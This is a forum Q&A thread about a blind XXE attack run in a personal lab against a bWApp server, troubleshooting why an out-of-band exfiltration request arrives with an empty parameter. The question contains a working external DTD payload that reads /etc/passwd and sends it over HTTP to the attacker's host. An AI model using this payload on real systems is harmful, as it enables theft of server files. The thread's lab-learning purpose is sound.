1

My lab

  1. Kali Linux:192.168.171.134
  2. bWApp Server: http://192.168.171.131

I want to do an exfiltration data via HTTP on this Blind XXE.

I'll use the Portswigger Payload.

This is the External.DTD:

  •    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://192.168.171.134/?x=%file;'>">
       %eval;
       %exfiltrate;
    

This is following attempt to exploit it:

enter image description here

As you can see the Vulnerable Web Application does an HTTP Request to recall the evil.DTD, but when it does the HTTP GET with /etc/passwd the GET parameter is empty, why?

I also try to modified the /etc/passwd with /etc/hostname to avoid the possible <> problems inside that file, but it doesn't work.

1
  • I removed your screenshots because the images were not found. – Soufiane Tahiri Mar 1 at 15:50
1

Well, there could be many reasons (sorted by order of probability):

  1. The XML parser is running inside Docker: If it's running inside docker, there's no /etc/passwd file nor /etc/hostname file to leak.
  2. The XML parser does not have enough privileges to read those files.
  3. The files you're trying to leak are in a different encoding than expected (Expected UTF-8, got UTF-16).
  4. The files you're trying to leak is corrupted.
  5. The files you're trying to leak is empty.

For all of the previous cases: instead of returning a nasty error, it returns an empty string, hence why the x parameter in the GET request is empty.

1
  • Thanks for the answer 1) It's a another VM 2) I tried to switch into www-data user (on bwapp server) and i can see the /etc/passwd file with cat command 3) i forced the UTF-8 and UTF-16 but it doesn't work, i insert in the HTTP request the following XML code: <?xml version="1.0" encoding="UTF-16"?> ... / <?xml version="1.0" encoding="UTF-8"?> ... 4) I don't think, how can i check? 5) it's not empty. If i use ftp:// instead HTTP:// i also get the same X value empty – Zefiro38 Mar 7 at 13:33

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.